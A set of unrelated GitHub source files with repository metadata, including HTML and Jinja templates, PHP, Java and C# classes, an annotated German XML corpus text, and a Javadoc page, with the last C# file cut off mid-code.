{ "content_hash": "ed406dcda5a5fde3b47e160dd9ad2ff8", "timestamp": "", "source": "github", "line_count": 28, "max_line_length": 66, "avg_line_length": 36.67857142857143, "alnum_prop": 0.6991236611489776, "repo_name": "dylanbeattie/SDP2017", "id": "70bc4a7e54606eea1f057a3d14788eba901ce63b", "size": "1029", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/Herobook/Data/IDatabase.cs", "mode": "33188", "license": "mit", "language": [ { "name": "ASP", "bytes": "90" }, { "name": "C#", "bytes": "39430" }, { "name": "CSS", "bytes": "2705" }, { "name": "HTML", "bytes": "1779" }, { "name": "JavaScript", "bytes": "227710" } ], "symlink_target": "" }
{% extends "master.html" %} {% set active_page = "configs" %} {% set run = runlist.getRun(runId) %} {% block moresidebar %} <ul> <li> <a href="#configSummary">Config Summary</a></li> <li><a href="#configDetails">Config Details</a></li> </ul> {% endblock %} {% block content %} <p> <h2><a name="configSummary">OpSim Configuration Summary</a></h2> <object width=600px height=700px type="text/plain" data="{{ run.configSummary }}" border="0" > </object> </p> <p> <h2><a name="configDetails">OpSim Configuration Details</a></h2> <object width=600px height=700px type="text/plain" data="{{ run.configDetails }}" border="0" > </object> </p> {% endblock %}
{ "content_hash": "8b0d3ecfb9b3cf62505da4b6df794622", "timestamp": "", "source": "github", "line_count": 28, "max_line_length": 94, "avg_line_length": 23.5, "alnum_prop": 0.648936170212766, "repo_name": "nanchenchen/lsst-comaf", "id": "ce115dc492614bb121e4d7b845f6ea059c01f9ee", "size": "658", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "new_showMaf/lsst/sims/maf/viz/templates/configs.html", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "10343" }, { "name": "HTML", "bytes": "61147" }, { "name": "JavaScript", "bytes": "62942" }, { "name": "Python", "bytes": "196248" }, { "name": "Shell", "bytes": "13055" } ], "symlink_target": "" }
<!doctype html> <html> <title>LIBRARY </title> <head> <link rel="stylesheet" href="index2.css"> <link rel="stylesheet" href="css/bootstrap.css"> </head> <body> <form> <br> <div class="search" align="right"><input id="mysearch" type="search" placeholder="USN #"/> <button type="button" class="btn btn-primary">Search</button><br> </div> <div class="container ama"> <legend><center>LIBRARY</center></legend> <div class="image"> <img src="../web/profile.jpg" alt="..." class="img-thumbnail"></> <div class="picture"> <a href="">Change picture</a> </div></div> <table> <tr> <th> </th> <th> </th> </tr> <tr> <td> Name: </td> <td><input></input></td> </tr> <tr> <td> USN No: </td> <td> <select><option>12343254</select></option></td> <tr> <td> Year Level:</td> <td><select><option>First year</option><option>Second Year</option> <option>Third Year</option><option>Fourth Year</option></select></td> </tr> <tr> <td> <tr> <td> SY Term: </td> <td><input> </input> </td></tr> <tr> <td> Courses: </td> <td> <select> <option>BS IT</option> <option>BS CS</option> <option>BS IS</option> </td> </tr> <tr> <td>Section: </td> <td> <select> <option>A4</option> <option>C4</option> <option> B4</option> <option>C4</option> </select> </td> </tr> <tr> <td> Age: </td> <td> <input> </input> </tr></td> <tr> <td>Gender: </td> <td> <select> <option>Male</Option> <option>Female</option></select></td></tr> <tr> <td> Address:</td> <td> <input></input></tr></td> <tr><td> Current Status: </td> <td> <select><option>Cleared</option> <option>Not Cleared</option> </td> </tr> </form> </table> </div> <div class="button all"> <div class="update1"> <button type="button" class="btn btn-primary">Update</button></li><br> </div> <div class="update2"> <button type="button" class="btn btn-primary">Edit</button></li><br> </div> <div class="update3"> <button type="button" class="btn btn-primary">Save</button></li><br> </div> <div class="update4"> <button type="button" class="btn btn-primary">New</button></li><br> </div> <div class="update5"> <button type="button" class="btn btn-primary">Delete</button></li><br> </div> <div class="update6"> <button type="button" class="btn btn-primary">View Records</button></li><br> </div> </div> <br> <br> <br> <br> <br> <br> <div class="row"> <div class="col-md-6 square2"> <p>SSC</p> <p>SSC Requirement(s) for the </p> <p>signing of clearance</p> <ul> <li>SSC project fee p 150.00 <li>College Night Fee</li> </ul> </div> <div class="col-md-5 button"> <ul> <li><button type="button" class="btn btn-primary">Update Post</button></li><br> <li><button type="button" class="btn btn-primary">Edit Post</button></li><br> <li><button type="button" class="btn btn-primary">New Post</button></li><br> <li><button type="button" class="btn btn-primary">Delete Records</button></li><br> </ul> </div> </div> </div> <div class="col-md-6"> <textarea rows="10 " cols="60" > </textarea> <button type="button" class="btn btn-primary">Feedbacks</button> <button type="button"class="btn btn-primary cancelbutton"> Cancel </button> </div> </div> </body> </table> </html>
{ "content_hash": "eb85b7da864bb7f964aa3a297993c467", "timestamp": "", "source": "github", "line_count": 118, "max_line_length": 109, "avg_line_length": 26.728813559322035, "alnum_prop": 0.6227013316423589, "repo_name": "zhacky/studentclearance", "id": "96cf440ae6127e950a9de6b07995a8cd1956db1b", "size": "3154", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "files/rafe/LIBRARY.html", "mode": "33188", "license": "mit", "language": [ { "name": "ActionScript", "bytes": "15982" }, { "name": "ApacheConf", "bytes": "1476" }, { "name": "CSS", "bytes": "134530" }, { "name": "HTML", "bytes": "5442267" }, { "name": "JavaScript", "bytes": "894737" }, { "name": "PHP", "bytes": "2189597" }, { "name": "Shell", "bytes": "87" } ], "symlink_target": "" }
<?php declare(strict_types=1); namespace Coduo\PHPHumanizer\DateTime; use Coduo\PHPHumanizer\CollectionHumanizer; use Symfony\Contracts\Translation\TranslatorInterface; final class PreciseFormatter { private TranslatorInterface $translator; public function __construct(TranslatorInterface $translator) { $this->translator = $translator; } public function formatDifference(PreciseDifference $difference, string $locale = 'en') : string { $diff = []; foreach ($difference->components() as $result) { $diff[] = $this->translator->trans( 'compound.' . $result->getUnit()->getName(), ['%count%' => $result->getQuantity()], 'difference', $locale ); } return $this->translator->trans( 'compound.' . ($difference->isPast() ? 'past' : 'future'), ['%value%' => \implode(', ', $diff)], 'difference', $locale ); } public function formatInterval(\DateInterval $dateInterval, string $locale = 'en') : string { $parts = []; foreach ((new DateIntervalCompound($dateInterval))->components() as $component) { $parts[] = $this->translator->trans( 'compound.' . $component->getUnit()->getName(), ['%count%' => $component->getQuantity()], 'difference', $locale ); } return CollectionHumanizer::oxford($parts, null, $locale); } }
{ "content_hash": "d06b478972e1aeeb1bd78225438b0003", "timestamp": "", "source": "github", "line_count": 57, "max_line_length": 99, "avg_line_length": 27.45614035087719, "alnum_prop": 0.549520766773163, "repo_name": "coduo/php-humanizer", "id": "7ea5f64bf9723f8147114ab248f8b842209d2333", "size": "1752", "binary": false, "copies": "1", "ref": "refs/heads/4.x", "path": "src/Coduo/PHPHumanizer/DateTime/PreciseFormatter.php", "mode": "33188", "license": "mit", "language": [ { "name": "PHP", "bytes": "135236" } ], "symlink_target": "" }
<?xml version="1.0" encoding="UTF-8"?> <?relations relSet="Martin1992" lexURL="jar:file:/home/lisa/Arbeit/Conano-Distrib/conano.jar!/de/uni_potsdam/ling/coli/resources/ConnectorLexicon.xml"?> <discourse> Ä(E)hrenvoll <unit type="ext" id="2"> <unit type="ext" id="1">Während der vergangenen Monate - </unit> <unit type="int" id="1"> <connective id="1" relation="addition">und</connective> das gilt auch für die Wochenenden - </unit> <unit type="ext" id="1">waren sie selten daheim anzutreffen , die Landwirte und Wiedereinrichter . </unit> In der Erntezeit wird eben jede Schönwetterstunde bis zur letzten Minute ausgenutzt . Ganz gleich , ob Ähren vom Halm oder Kartoffeln aus dem Boden zu holen sind . <unit type="int" id="2"> <connective id="2" relation="addition">Und</connective> <unit type="int" id="9"> auch , <connective id="9" relation="condition">wenn</connective> nicht alle Blütenträume gereift sind , </unit> <unit type="ext" id="9"> zeigen sich die Landwirte nicht unzufrieden . </unit> </unit> " Da " , so heißt es in diesen Tagen , " haben wir schon ganz andere Jahre erlebt . " <unit type="ext" id="12">Wer die Arbeit dieser Frauen und Männer übers Jahr verfolgt , versteht , warum sie sich</unit> <unit type="int" id="12"> <connective id="12" relation="concession">trotz</connective> vieler Mühen </unit> <unit type="ext" id="12">das Erntefest nie entgehen lassen .</unit> <unit type="ext" id="13">Es ist nicht nur ein alter Brauch .</unit> <unit type="int" id="13"> <unit type="ext" id="17"> Es ist <connective id="13" relation="addition">zugleich</connective> eine Bühne , auf der sich mit berechtigtem Stolz ausrufen lässt : Seht her , was Mensch , Tier und Technik der Natur abgerungen haben </unit> . </unit> <unit type="int" id="17"> <connective id="17" relation="addition">Und</connective> die Freude in den Gesichtern der Leute , <unit type="ext" id="14"> die Handwagen ziehen , Pferdegespanne führen </unit> <unit type="int" id="14"> <connective id="14" relation="alternation">oder</connective> Erntemaschinen lenken , </unit> ist mindestens genau so groß wie der Ehrgeiz , mit dem sie sich im kommenden Jahr wieder in die Arbeit stürzen </unit> . <unit type="ext" id="16">Irre ich mich ,</unit> <unit type="int" id="16"> <connective id="16" relation="alternation">oder</connective> werden es von Jahr zu Jahr mehr Menschen , die dem lustigen Landvolk winken und applaudieren </unit> ? Recht so ! Ä(E)hre , wem Ä(E)hre gebührt . </unit> </discourse>
{ "content_hash": "382ca108e8395865c25df7f9239ed31d", "timestamp": "", "source": "github", "line_count": 64, "max_line_length": 152, "avg_line_length": 46.703125, "alnum_prop": 0.5988624958179993, "repo_name": "arne-cl/discoursegraphs", "id": "b9a541e1b9f575f14d67915292782c5b383325da", "size": "3008", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/discoursegraphs/data/potsdam-commentary-corpus-2.0.0/connectors/maz-3073.xml", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "Dockerfile", "bytes": "891" }, { "name": "Makefile", "bytes": "679" }, { "name": "Python", "bytes": "637296" }, { "name": "XSLT", "bytes": "2457" } ], "symlink_target": "" }
import java.util.Arrays; import java.util.Comparator; import java.util.List; public class Main { public static String test(List<String> strings, Comparator<String> cmp) { boolean seen = false; String best = null; for (String string : strings) { if (!seen || cmp.compare(string, best) < 0) { seen = true; best = string; } } return seen ? best : null; } public static void main(String[] args) { System.out.println(test(Arrays.asList(), Comparator.comparing(String::length))); System.out.println(test(Arrays.asList("a", "bbb", "cc", "d", "eee"), Comparator.comparing(String::length))); } }
{ "content_hash": "8a5c650890a508efb74aa582fb5c9a7f", "timestamp": "", "source": "github", "line_count": 22, "max_line_length": 112, "avg_line_length": 31, "alnum_prop": 0.6099706744868035, "repo_name": "youdonghai/intellij-community", "id": "1011193be70ed37374854aaa3a80c2340774fddb", "size": "730", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "java/java-tests/testData/codeInsight/daemonCodeAnalyzer/quickFix/streamToLoop/afterMinComparatorParameter.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "AMPL", "bytes": "20665" }, { "name": "AspectJ", "bytes": "182" }, { "name": "Batchfile", "bytes": "60477" }, { "name": "C", "bytes": "195270" }, { "name": "C#", "bytes": "1264" }, { "name": "C++", "bytes": "197804" }, { "name": "CMake", "bytes": "1195" }, { "name": "CSS", "bytes": "201445" }, { "name": "CoffeeScript", "bytes": "1759" }, { "name": "Cucumber", "bytes": "14382" }, { "name": "Erlang", "bytes": "10" }, { "name": "Groff", "bytes": "35232" }, { "name": "Groovy", "bytes": "3078038" }, { "name": "HLSL", "bytes": "57" }, { "name": "HTML", "bytes": "1837329" }, { "name": "J", "bytes": "5050" }, { "name": "Java", "bytes": "160121025" }, { "name": "JavaScript", "bytes": "570364" }, { "name": "Jupyter Notebook", "bytes": "93222" }, { "name": "Kotlin", "bytes": "2803472" }, { "name": "Lex", "bytes": "183993" }, { "name": "Makefile", "bytes": "2352" }, { "name": "NSIS", "bytes": "49795" }, { "name": "Objective-C", "bytes": "28750" }, { "name": "Perl", "bytes": "903" }, { "name": "Perl6", "bytes": "26" }, { "name": "Protocol Buffer", "bytes": "6639" }, { "name": "Python", "bytes": "24055272" }, { "name": "Ruby", "bytes": "1217" }, { "name": "Scala", "bytes": "11698" }, { "name": "Shell", "bytes": "63389" }, { "name": "Smalltalk", "bytes": "338" }, { "name": "TeX", "bytes": "25473" }, { "name": "Thrift", "bytes": "1846" }, { "name": "TypeScript", "bytes": "9469" }, { "name": "Visual Basic", "bytes": "77" }, { "name": "XSLT", "bytes": "113040" } ], "symlink_target": "" }
package demoapp.dom.types.javautil.javautildate.holder; import org.apache.causeway.applib.annotation.Action; import org.apache.causeway.applib.annotation.SemanticsOf; import lombok.RequiredArgsConstructor; //tag::class[] @Action(semantics = SemanticsOf.SAFE) @RequiredArgsConstructor public class JavaUtilDateHolder_actionReturning { private final JavaUtilDateHolder holder; public java.util.Date act() { return holder.getReadOnlyProperty(); } } //end::class[]
{ "content_hash": "67a133defebe391deed120f7f04fb7b4", "timestamp": "", "source": "github", "line_count": 22, "max_line_length": 57, "avg_line_length": 22.227272727272727, "alnum_prop": 0.7750511247443763, "repo_name": "apache/isis", "id": "35bf5a7036fa9e5d24bb3b9f0c096dfc188fda6c", "size": "1314", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "examples/demo/domain/src/main/java/demoapp/dom/types/javautil/javautildate/holder/JavaUtilDateHolder_actionReturning.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "152495" }, { "name": "Clean", "bytes": "8063" }, { "name": "Gherkin", "bytes": "412" }, { "name": "Groovy", "bytes": "15585" }, { "name": "HTML", "bytes": "268010" }, { "name": "Handlebars", "bytes": "337" }, { "name": "Java", "bytes": "17242597" }, { "name": "JavaScript", "bytes": "271368" }, { "name": "Kotlin", "bytes": "1913258" }, { "name": "Rich Text Format", "bytes": "2150674" }, { "name": "Shell", "bytes": "102821" }, { "name": "TypeScript", "bytes": "275" } ], "symlink_target": "" }
package com.goldtek.algorithm; public class Cost { private final RelationKey mKey; private final double mDistance; public Cost(int fromID, int toID, double dis) { mKey = RelationKey.newKey(String.valueOf(fromID), String.valueOf(toID)); mDistance = dis; } public Cost(String from, String to, double dis) { mKey = RelationKey.newKey(from, to); mDistance = dis; } public RelationKey getKey() { return mKey; } public double getCost() { return mDistance; } }
{ "content_hash": "bfb5dda551506ab15bbf4b5b1cf2b9d7", "timestamp": "", "source": "github", "line_count": 20, "max_line_length": 80, "avg_line_length": 26.95, "alnum_prop": 0.634508348794063, "repo_name": "terryturner/VRPinGMapFx", "id": "42180e5308f697f980e8a60b1af4cab3cf39a0c6", "size": "539", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "GMapsFX-Examples/VRPSolver/src/main/java/com/goldtek/algorithm/Cost.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "1912" }, { "name": "HTML", "bytes": "15898" }, { "name": "Java", "bytes": "3253124" }, { "name": "JavaScript", "bytes": "45837" } ], "symlink_target": "" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="de"> <head> <title>Uses of Class org.deidentifier.arx.framework.check.history.MRUCacheEntryMetadata (ARX Developer Documentation)</title> <link rel="stylesheet" type="text/css" href="../../../../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class org.deidentifier.arx.framework.check.history.MRUCacheEntryMetadata (ARX Developer Documentation)"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../../org/deidentifier/arx/framework/check/history/MRUCacheEntryMetadata.html" title="class in org.deidentifier.arx.framework.check.history">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../../index.html?org/deidentifier/arx/framework/check/history/class-use/MRUCacheEntryMetadata.html" target="_top">Frames</a></li> <li><a href="MRUCacheEntryMetadata.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h2 title="Uses of Class org.deidentifier.arx.framework.check.history.MRUCacheEntryMetadata" class="title">Uses of Class<br>org.deidentifier.arx.framework.check.history.MRUCacheEntryMetadata</h2> </div> <div class="classUseContainer">No usage of org.deidentifier.arx.framework.check.history.MRUCacheEntryMetadata</div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../../org/deidentifier/arx/framework/check/history/MRUCacheEntryMetadata.html" title="class in org.deidentifier.arx.framework.check.history">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../../index.html?org/deidentifier/arx/framework/check/history/class-use/MRUCacheEntryMetadata.html" target="_top">Frames</a></li> <li><a href="MRUCacheEntryMetadata.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
{ "content_hash": "4c5fc24f60a9da4e86b6bd8bec579aa3", "timestamp": "", "source": "github", "line_count": 113, "max_line_length": 195, "avg_line_length": 40.64601769911504, "alnum_prop": 0.6085347267581102, "repo_name": "kentoa/arx", "id": "3c3dead7b6d0fa285292063598621f9f6b7b9407", "size": "4593", "binary": false, "copies": "4", "ref": "refs/heads/master", "path": "doc/dev/org/deidentifier/arx/framework/check/history/class-use/MRUCacheEntryMetadata.html", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "HTML", "bytes": "37206" }, { "name": "Java", "bytes": "4404489" } ], "symlink_target": "" }
<?php require_once('php/config.php'); checkPage(); ?> <?php if (isset($_POST['butSearch'])){ $comment = isset($_POST['searchText']) ? $_POST['searchText'] : ''; $comment=str_replace(" ", '+',$comment); header('Location: '.'search?q='.$comment); } if (isset($_POST['butSubscribe'])){ $emailSubscribe = isset($_POST['emailSubscribe']) ? $_POST['emailSubscribe'] : ''; $emailSubscribe=str_replace(" ", '+',$emailSubscribe); header('Location: '.'subscribe?q='.$emailSubscribe); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags --> <title><?php require_once('php/config.php'); echo constant("Website_Name"); ?> - Projects</title> <!-- Favicon --> <link rel="shortcut icon" type="image/icon" href="assets/images/favicon.ico"/> <!-- Font Awesome --> <link href="assets/css/font-awesome.css" rel="stylesheet"> <!-- Bootstrap --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <!-- Slick slider --> <link rel="stylesheet" type="text/css" href="assets/css/slick.css"/> <!-- Fancybox slider --> <link rel="stylesheet" href="assets/css/jquery.fancybox.css" type="text/css" media="screen" /> <!-- Animate css --> <link rel="stylesheet" type="text/css" href="assets/css/animate.css"/> <!-- Theme color --> <link id="switcher" href="assets/css/theme-color/default.css" rel="stylesheet"> <!-- Main Style --> <link href="style.css" rel="stylesheet"> <!-- Fonts --> <!-- Open Sans for body font --> <link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'> <!-- Raleway for Title --> <link href='https://fonts.googleapis.com/css?family=Raleway' rel='stylesheet' type='text/css'> <!-- Pacifico for 404 page --> <link href='https://fonts.googleapis.com/css?family=Pacifico' rel='stylesheet' type='text/css'> <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> <?php require_once('php/config.php'); AdblockCheck(); ?> </head> <body> <!-- BEGAIN PRELOADER --> <div id="preloader"> <div class="loader">&nbsp;</div> </div> <!-- END PRELOADER --> <!-- SCROLL TOP BUTTON --> <a class="scrollToTop" href="#"><i class="fa fa-chevron-up"></i></a> <!-- END SCROLL TOP BUTTON --> <!-- Start header section --> <!-- End header section --> <!-- Start menu section --> <section id="menu-area"> <nav class="navbar navbar-default main-navbar" role="navigation"> <div class="container"> <div class="navbar-header"> <!-- FOR MOBILE VIEW COLLAPSED BUTTON --> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <!-- LOGO --> <h3><?php require_once('php/config.php'); echo constant("Website_Name"); ?></h3> </div> <?php require_once('php/menu.php'); ?><!--/.nav-collapse --> <div class="search-area"> <form action=""> <input id="search" name="search" type="text" placeholder="What're you looking for ?"> <input id="search_submit" value="Rechercher" type="submit"> </form> </div> </div> </nav> </section> <!-- End menu section --> <!-- Start about section --> <!-- Start blog section --> <section id="blog"> <div class="container"> <div class="row"> <div class="col-md-12"> <div class="blog-area"> <div class="row"> <div class="col-lg-8 col-md-7 col-sm-12"> <div class="blog-left blog-archive"> <!-- Start single blog post --> <?php require_once('php/account_system.php'); require_once('php/config.php'); $posts = 'projects'; $directories = glob($posts . '/*' , GLOB_ONLYDIR); $reversed = array_reverse($directories); $count = 0; $max_posts = 15; foreach($reversed as $dire) { if ($count < $max_posts) { $pName = $dire; $pName=str_replace('projects/', '',$pName); $date = file_get_contents($dire.'/date'); $author = file_get_contents($dire.'/author'); $post = file_get_contents($dire.'/post'); $title = file_get_contents($dire.'/title'); $date_expanded = file_get_contents($dire.'/date_expanded'); $full_name = file_get_contents($dire.'/full_name'); echo '<article class="single-from-blog">'; echo '<div class="blog-title">'; echo '<h2><a href="article?id='.$pName.'">'.$title.'</a></h2>'; echo '<p>Posted by <a href="profile?id='.$author.'">'.$full_name.'</a> on <span class="blog-date">'.$date_expanded.'</span>'; echo '</div>'; if (file_exists($dire.'/post_preview')) { echo file_get_contents($dire.'/post_preview'); echo '<a href="article?id='.$pName.'"><button class="button button-default" data-text="Read more"><span>Read more</span></button></a>'; } else { echo $post; echo '<a href="article?id='.$pName.'"><button class="button button-default" data-text="Read more"><span>Read more</span></button></a>'; } echo '</article>'; } $count += 1; } if ($count == 0) { ?> <article class="single-from-blog"> <div class="blog-title"> <h2>No recent projects found on <?php require_once('php/config.php'); echo constant("Website_Name"); ?>.</h2> </div> <p>There are no recent projects.</p> </article> <?php } ?> <!-- End single blog post --> <!--Start Blog pagination --> <!-- End blog pagination --> </div> </div> <div class="col-lg-4 col-md-5 col-sm-12"> <aside class="blog-right"> <div class="single-widget"> <h2><?php require_once('php/lang.php'); $LangDir = getLang(); require_once('lang/'.$LangDir.'/language.php'); echo constant("Lang_General_Search"); ?></h2> <form class="blog-search" method="POST"> <input name="searchText" required type="text"> <button class="button button-default" data-text="<?php require_once('php/lang.php'); $LangDir = getLang(); require_once('lang/'.$LangDir.'/language.php'); echo constant("Lang_General_But_Search"); ?>" name="butSearch" type="submit"><span><?php require_once('php/lang.php'); $LangDir = getLang(); require_once('lang/'.$LangDir.'/language.php'); echo constant("Lang_General_But_Search"); ?></span></button> </form> </div> <div class="single-widget"> <h2><?php require_once('php/lang.php'); $LangDir = getLang(); require_once('lang/'.$LangDir.'/language.php'); echo constant("Lang_General_FollowUs"); ?></h2> <div class="follow-us"> <a class="facebook" href="<?php require_once('php/config.php'); echo constant("Social_Facebook"); ?>"><span class="fa fa-facebook"></span></a> <a class="twitter" href="<?php require_once('php/config.php'); echo constant("Social_Twitter"); ?>"><span class="fa fa-twitter"></span></a> <a class="google-plus" href="<?php require_once('php/config.php'); echo constant("Social_GPlus"); ?>"><span class="fa fa-google-plus"></span></a> <a class="youtube" href="<?php require_once('php/config.php'); echo constant("Social_YouTube"); ?>"><span class="fa fa-youtube"></span></a> <a class="linkedin" href="<?php require_once('php/config.php'); echo constant("Social_LinkedIn"); ?>"><span class="fa fa-linkedin"></span></a> <a class="dribbble" href="<?php require_once('php/config.php'); echo constant("Social_Dribbble"); ?>"><span class="fa fa-dribbble"></span></a> </div> </div> <div class="single-widget"> <h2><?php require_once('php/lang.php'); $LangDir = getLang(); require_once('lang/'.$LangDir.'/language.php'); echo constant("Lang_General_Subscribe"); ?></h2> <form class="blog-search" method="POST"> <input name="emailSubscribe" required type="text"> <button class="button button-default" name="butSubscribe" data-text="<?php require_once('php/lang.php'); $LangDir = getLang(); require_once('lang/'.$LangDir.'/language.php'); echo constant("Lang_General_But_Subscribe"); ?>" type="submit"><span><?php require_once('php/lang.php'); $LangDir = getLang(); require_once('lang/'.$LangDir.'/language.php'); echo constant("Lang_General_But_Subscribe"); ?></span></button> </form> </div> </aside> </div> </div> </div> </div> </div> </div> </section> <!-- End blog section --> <!-- End about section --> <!-- Start Footer --> <footer id="footer"> <div class="footer-top"> <div class="container"> <div class="row"> <div class="col-md-12"> <div class="footer-top-area"> <div class="footer-social"> <a class="facebook" href="<?php require_once('php/config.php'); echo constant("Social_Facebook"); ?>"><span class="fa fa-facebook"></span></a> <a class="twitter" href="<?php require_once('php/config.php'); echo constant("Social_Twitter"); ?>"><span class="fa fa-twitter"></span></a> <a class="google-plus" href="<?php require_once('php/config.php'); echo constant("Social_GPlus"); ?>"><span class="fa fa-google-plus"></span></a> <a class="youtube" href="<?php require_once('php/config.php'); echo constant("Social_YouTube"); ?>"><span class="fa fa-youtube"></span></a> <a class="linkedin" href="<?php require_once('php/config.php'); echo constant("Social_LinkedIn"); ?>"><span class="fa fa-linkedin"></span></a> <a class="dribbble" href="<?php require_once('php/config.php'); echo constant("Social_Dribbble"); ?>"><span class="fa fa-dribbble"></span></a> </div> </div> </div> </div> </div> </div> <div class="footer-bottom"> <p><?php require_once('php/config.php'); echo constant("Website_Copyright"); ?></p> </div> </footer> <!-- End Footer --> <!-- initialize jQuery Library --> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <!-- Bootstrap --> <script src="assets/js/bootstrap.js"></script> <!-- Slick Slider --> <script type="text/javascript" src="assets/js/slick.js"></script> <!-- Counter --> <script type="text/javascript" src="assets/js/waypoints.js"></script> <script type="text/javascript" src="assets/js/jquery.counterup.js"></script> <!-- mixit slider --> <script type="text/javascript" src="assets/js/jquery.mixitup.js"></script> <!-- Add fancyBox --> <script type="text/javascript" src="assets/js/jquery.fancybox.pack.js"></script> <!-- Wow animation --> <script type="text/javascript" src="assets/js/wow.js"></script> <!-- Custom js --> <script type="text/javascript" src="assets/js/custom.js"></script> </body> </html>
{ "content_hash": "00d437d703798c8102eda2074f5573d0", "timestamp": "", "source": "github", "line_count": 298, "max_line_length": 435, "avg_line_length": 43.399328859060404, "alnum_prop": 0.5349106935745767, "repo_name": "Moudoux/OpenTexonBlogger", "id": "ea3d3bc70e87602e85dc6fe53660f7ecb4c0caf4", "size": "12933", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "project.php", "mode": "33188", "license": "mit", "language": [ { "name": "ApacheConf", "bytes": "456" }, { "name": "CSS", "bytes": "129221" }, { "name": "JavaScript", "bytes": "179376" }, { "name": "PHP", "bytes": "319411" } ], "symlink_target": "" }
using System.ComponentModel.DataAnnotations; using System.Globalization; using Microsoft.AspNetCore.Mvc.ModelBinding.Validation; using Microsoft.Extensions.Localization; namespace Microsoft.AspNetCore.Mvc.DataAnnotations; internal sealed class StringLengthAttributeAdapter : AttributeAdapterBase<StringLengthAttribute> { private readonly string _max; private readonly string _min; public StringLengthAttributeAdapter(StringLengthAttribute attribute, IStringLocalizer? stringLocalizer) : base(attribute, stringLocalizer) { _max = Attribute.MaximumLength.ToString(CultureInfo.InvariantCulture); _min = Attribute.MinimumLength.ToString(CultureInfo.InvariantCulture); } /// <inheritdoc /> public override void AddValidation(ClientModelValidationContext context) { if (context == null) { throw new ArgumentNullException(nameof(context)); } MergeAttribute(context.Attributes, "data-val", "true"); MergeAttribute(context.Attributes, "data-val-length", GetErrorMessage(context)); if (Attribute.MaximumLength != int.MaxValue) { MergeAttribute(context.Attributes, "data-val-length-max", _max); } if (Attribute.MinimumLength != 0) { MergeAttribute(context.Attributes, "data-val-length-min", _min); } } /// <inheritdoc /> public override string 